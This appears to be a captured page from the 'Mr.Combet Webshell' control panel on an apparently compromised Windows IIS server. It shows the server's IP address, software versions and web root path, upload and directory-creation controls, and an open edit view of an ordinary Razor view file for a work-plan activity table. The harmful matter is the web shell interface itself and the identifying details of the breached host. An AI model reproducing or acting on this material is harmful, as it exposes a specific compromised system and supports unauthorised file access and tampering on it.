Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
WorkPlan
/
Edit File Name :
_NonEventActivitiesList.cshtml
@using PagedList.Mvc; @model PagedList.IPagedList<RER_Project.DataAccess.Functions.Fn_ActivityStatusReport> @{ Layout = null; } <style> .notdisplay { display: none } </style> @if (Model.Count > 0) { <div class="table-responsive" style="margin-top: 16px;"> @foreach (var group in Model.GroupBy(x => x.fiscal_year_id)) { @*<h4 style="background-color: #e9e9e9; padding: 8px 8px;">@group.Key</h4>*@ <table class="footable table table-hover" id="tabledata"> <thead> <tr> <th>Activity Code</th> <th>Activity Name</th> <th>SubTask</th> <th>Month</th> <th>Status</th> <th>Assigned By</th> <th>Assigned To</th> <th>Action</th> </tr> </thead> <tbody> @{ var val = 1; foreach (var item in group) { <input type="hidden" name="status" value="@item.status" id="status" /> <tr data-row-id="@val"> <td class="notdisplay"><input type="hidden" value="@item.work_plan_level_two_id" /></td> <td class="notdisplay"><input type="hidden" value="@item.work_plan_id" /></td> <td class="notdisplay"><input type="hidden" value="@item.activity_id" /></td> <td class="notdisplay"><input type="hidden" value="@item.priority_activity_one_support" /></td> <td class="notdisplay"><input type="hidden" value="@item.assigned_by" /></td> <td class="notdisplay"><input type="hidden" value="@item.unit_id" /></td> <td class="notdisplay"><input type="hidden" value="@item.fiscal_year" /></td> <td class="notdisplay"><input type="hidden" value="@item.fiscal_year_id" /> <td class="notdisplay"><input type="checkbox" value="@item.is_event" checked="@item.is_event" /></td> <td class="notdisplay"><input type="hidden" value="@item.activity_category_id" /></td> <td class="notdisplay"><input type="hidden" value="@item.unit" /></td> <td class="notdisplay"><input type="hidden" value="@item.activity_type" /></td> <td class="notdisplay"><input type="checkbox" value="@item.deleted" checked="@item.deleted" /></td> <td class="notdisplay"><input type="hidden" value="@item.activity_member_type" /></td> <td class="notdisplay"><input type="hidden" value="@item.sub_component_id" /></td> <td>@item.activity_code</td> <td>@item.activity_name</td> <td>@item.subtask </td> <td>@item.month</td> <td> @if (ViewBag.Level[0].Key != "1" && ViewBag.Level[0].Key != "4" && ViewBag.Level[0].Key != "28" && item.status == "Completed") { <select name="Status" id="Statuslabel" class="form-control" disabled> @if (item.status == "Not Started") { <option value="0">Select</option> <option value="Not Started" selected>Not Started</option> <option value="On Going">On Going</option> <option value="Completed">Completed</option> } else if (item.status == "On Going") { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going" selected>On Going</option> <option value="Completed">Completed</option> } else if (item.status == "Completed") { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going">On Going</option> <option value="Completed" selected>Completed</option> } else { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going">On Going</option> <option value="Completed">Completed</option> } </select> } else { <select name="Status" id="Statuslabel" class="form-control"> @if (item.status == "Not Started") { <option value="0">Select</option> <option value="Not Started" selected>Not Started</option> <option value="On Going">On Going</option> <option value="Completed">Completed</option> } else if (item.status == "On Going") { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going" selected>On Going</option> <option value="Completed">Completed</option> } else if (item.status == "Completed") { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going">On Going</option> <option value="Completed" selected>Completed</option> } else { <option value="0">Select</option> <option value="Not Started">Not Started</option> <option value="On Going">On Going</option> <option value="Completed">Completed</option> } </select> } </td> <td>@item.assigned_by_name</td> <td>@item.assigned_to</td> <td><input type="button" class="btn btn-primary datasave" value="save" @*id="datasave"*@ /></td> @* <td>@item.PriorityActivityOne</td>*@ @*<td> @if (item.ActivityMemberType == 1) { <a class="btn btn-default btn-xs" href="@("/activities/reporting/createother?activityId=" + item.ActivityId +"&fiscalYear="+group.Key +"&fyId="+item.FiscalYearId+"&subtask="+item.subtask)"> <i class="fa fa-plus"></i> </a> } else { <a class="btn btn-default btn-xs" href="@("/activities/reporting/create?activityId=" + item.ActivityId +"&fiscalYear="+group.Key + "&assignedBy=" + item.AssignedBy+"&subtask="+item.subtask)"> <i class="fa fa-plus"></i> </a> } </td>*@ </tr> val++; } } </tbody> </table> } <div id="myPager" align="center"> @if (Model.Count > 0) { @Html.PagedListPager(Model, page => Url.Action("activities/leveltwo", new { page }), PagedListRenderOptions.ClassicPlusFirstAndLast) } </div> </div> } else { <div><center>No Data</center></div> } <script> @*$(document).ready(function () { var status = document.getElementById("status").value; debugger; $('.Statuslabel').val(status); }); *@ $('.datasave').off("click").on("click", function () { var table = $(this).closest("tr").data("row-id"); var rowData = { // extract data from the row as needed work_plan_level_two_id: parseInt($(this).closest("tr").find("td:eq(0)").find("input[type='hidden']").val()), work_plan_id: parseInt($(this).closest("tr").find("td:eq(1)").find("input[type='hidden']").val()), activity_id: parseInt($(this).closest("tr").find("td:eq(2)").find("input[type='hidden']").val()), priority_activity_one_support: parseInt($(this).closest("tr").find("td:eq(3)").find("input[type='hidden']").val()), assigned_by: parseInt($(this).closest("tr").find("td:eq(4)").find("input[type='hidden']").val()), unit_id: parseInt($(this).closest("tr").find("td:eq(5)").find("input[type='hidden']").val()), fiscal_year: $(this).closest("tr").find("td:eq(6)").find("input[type='hidden']").val(), fiscal_year_id: parseInt($(this).closest("tr").find("td:eq(7)").find("input[type='hidden']").val()), is_event: $(this).closest("tr").find("td:eq(8)").find("input[type='checkbox']").prop("checked"), activity_category_id: parseInt($(this).closest("tr").find("td:eq(9)").find("input[type='hidden']").val()), unit: parseInt($(this).closest("tr").find("td:eq(10)").find("input[type='hidden']").val()), activity_type: parseInt($(this).closest("tr").find("td:eq(11)").find("input[type='hidden']").val()), deleted: $(this).closest("tr").find("td:eq(12)").find("input[type='checkbox']").prop("checked"), activity_member_type: parseInt($(this).closest("tr").find("td:eq(13)").find("input[type='hidden']").val()), sub_component_id: parseInt($(this).closest("tr").find("td:eq(14)").find("input[type='hidden']").val()), activity_code: $(this).closest("tr").find("td:eq(15)").text(), activity_name: $(this).closest("tr").find("td:eq(16)").text(), subtask: $(this).closest("tr").find("td:eq(17)").text(), month: $(this).closest("tr").find("td:eq(18)").text(), status: $(this).closest("tr").find("td:eq(19)").find("option:selected").text(), //$("#Status option:selected").text(), // add more columns as needed }; function request(model) { const url = '/workplan/alleventactivity/save'; const data = JSON.stringify(model.Fn_ActivityStatusReport); return window.getAjaxRequest(url, "POST", data); }; function getModel() { return ({ Fn_ActivityStatusReport: rowData }); }; const model = getModel(); debugger; const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/workplan/alleventactivity"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); debugger; //const activitycode = table.find("td:eq(0)").find("input[type='hidden']").val() @*var FnActivityStatusReport = []; $("#tabledata tbody tr").each(function () { const workplanleveltwoid = parseInt($(this).find("td:eq(0)").find("input[type='hidden']").val()); const workplanid = parseInt($(this).find("td:eq(1)").find("input[type='hidden']").val()); const activityid = parseInt($(this).find("td:eq(2)").find("input[type='hidden']").val()); const priorityactivityonesupport = parseInt($(this).find("td:eq(3)").find("input[type='hidden']").val()); const assignedby = parseInt($(this).find("td:eq(4)").find("input[type='hidden']").val()); const unitid = parseInt($(this).find("td:eq(5)").find("input[type='hidden']").val()); const fiscalyear = $(this).find("td:eq(6)").find("input[type='hidden']").val(); const fiscalyear_id = parseInt($(this).find("td:eq(7)").find("input[type='hidden']").val()); const isevent = $(this).find("td:eq(8)").find("input[type='checkbox']").val(); const activitycategoryid = parseInt($(this).find("td:eq(9)").find("input[type='hidden']").val()); const unit = parseInt($(this).find("td:eq(10)").find("input[type='hidden']").val()); const activitytype = parseInt($(this).find("td:eq(11)").find("input[type='hidden']").val()); const deleted = $(this).find("td:eq(12)").find("input[type='checkbox']").val(); const activitymembertype = parseInt($(this).find("td:eq(13)").find("input[type='hidden']").val()); const subcomponentid = parseInt($(this).find("td:eq(14)").find("input[type='hidden']").val()); const activitycode = $(this).find("td:eq(15)").text(); const activityname = $(this).find("td:eq(16)").text(); const subtask = $(this).find("td:eq(17)").text(); const status = $("#Status option:selected").text(); if (isevent == 'on') { isevent == true; } else { isevent == false; } if (deleted == 'on') { deleted == true; } else { deleted == false; } FnActivityStatusReport.push({ work_plan_level_two_id: workplanleveltwoid, work_plan_id: workplanid, activity_id: activityid, priority_activity_one_support: priorityactivityonesupport, assigned_by: assignedby, unit_id: unitid, fiscal_year: fiscalyear, fiscal_year_id: fiscalyear_id, is_event: isevent, subtask: subtask, activity_category_id: activitycategoryid, activity_name: activityname, unit: unit, activity_code: activitycode, activity_type: activitytype, deleted: deleted, activity_member_type: activitymembertype, sub_component_id: subcomponentid }); });*@ @*function getModel() { return ({ Fn_ActivityStatusReport: FnActivityStatusReport }); }; function request(model) { const url = '/workplan/alleventactivity/save'; const data = JSON.stringify(model); return window.getAjaxRequest(url, 'POST', data); }; const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/workplan/alleventactivity"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); });*@ }); </script>
Save